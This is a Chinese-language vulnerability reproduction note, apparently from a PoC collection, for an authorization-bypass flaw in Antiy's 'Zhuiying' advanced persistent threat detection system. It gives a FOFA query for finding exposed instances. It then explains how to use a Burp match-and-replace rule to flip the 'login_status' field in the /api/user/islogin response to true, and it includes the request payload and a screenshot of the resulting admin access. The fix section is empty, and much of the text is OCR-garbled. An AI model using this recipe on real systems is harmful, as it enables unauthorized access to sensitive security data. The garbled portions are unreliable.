A3-1安天-追影威胁分析系统-PermissionAC

漏洞描述:

高级可持续威胁安全检测系统 存在越权访问漏洞,攻击者可以通过工具修改特定的返回包导致越权后台查看敏感信息。

网站图片:



网络测绘:

fofa语法:

title="高级可持续威胁安全检测系统"

漏洞复现:

访问威胁分析系统,用bp查看请求包列表可以发现一条"/api/user/islogin"的请求。 Original response > Request Pretty Raw \n Actions ∨ Pretty Raw Render \n 1 GET /api/user/islogin HTTP/1.1 1 HTTP/1.1 200 OK 2 Host: 2 Server: nginx/1.16.1 3 Connection: close 3 Date: Sun, 18 Apr 2021 4 Accept: application/json, text/javascript, */*; q=0.01 4 Content-Type: applicat: 5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 5 Content-Length: 51 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 6 Connection: close Safari/537.36 6 X-Requested-With: XMLHttpRequest 8 { 7 Sec-Fetch-Site: same-origin "result": "ok", "login_status":false 8 Sec-Fetch Dest: empty 8 Sec-Fetch-Mode: cors "role":"" 10 Referer: 11 Accept-Encoding: gzip, deflate 12 Accept-Language: zh-CN, zh; q=0.9 将返回包中的"login_status"字段替换成"true",可以使用bp的match and replace添加规则。

	Convert HTTPS links to HTTP Remove secure flag from cookies Match and Replace These settings are used to automatically replace							
						Edit match/replace rule		
				?	Specify the			
?					Type:	Response body		
(j)					Match:	false		
	Add	Add Enabled Item			Replace:	true		
	Edit		Request header		Comment:			
	Luit		Request header					
	Remove		Response header		Regex r	natch		
			Request header					
	Up		Request header					01/
	Down		Response header					OK
			Response header					

payload:

GET /api/user/islogin HTTP/1.1
Host:
Connection: close4
Accept: application/json, text/javascript, */*; q=0.015
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88Safari/537.36
X-Requested-With: XMLHtpRequest7 Sec-Eetch-Site: same-origin
Sec-Fetch-Mode: cors
Accept-Encoding:gzip, deflate
Accept-Lanquage: zh-CN, zh;q=0.9

效果图: 请求 /api/user/islogin 时成功越过身份验证。 访问该系统就可以直接登陆。

[-] 高级威胁分析系统

概要	统计	检索	报表	自定义	个人历史	配置								
关于 可以在此查看系统版本的信息、AVL引擎版本信息。														
版本信息														
程序版本: 2 人 反病毒引擎版本: 2 人														

修复建议:

参考链接:

https://mp.weixin.qq.com/s/zPiXd8bpOLhfVfUcEcs4og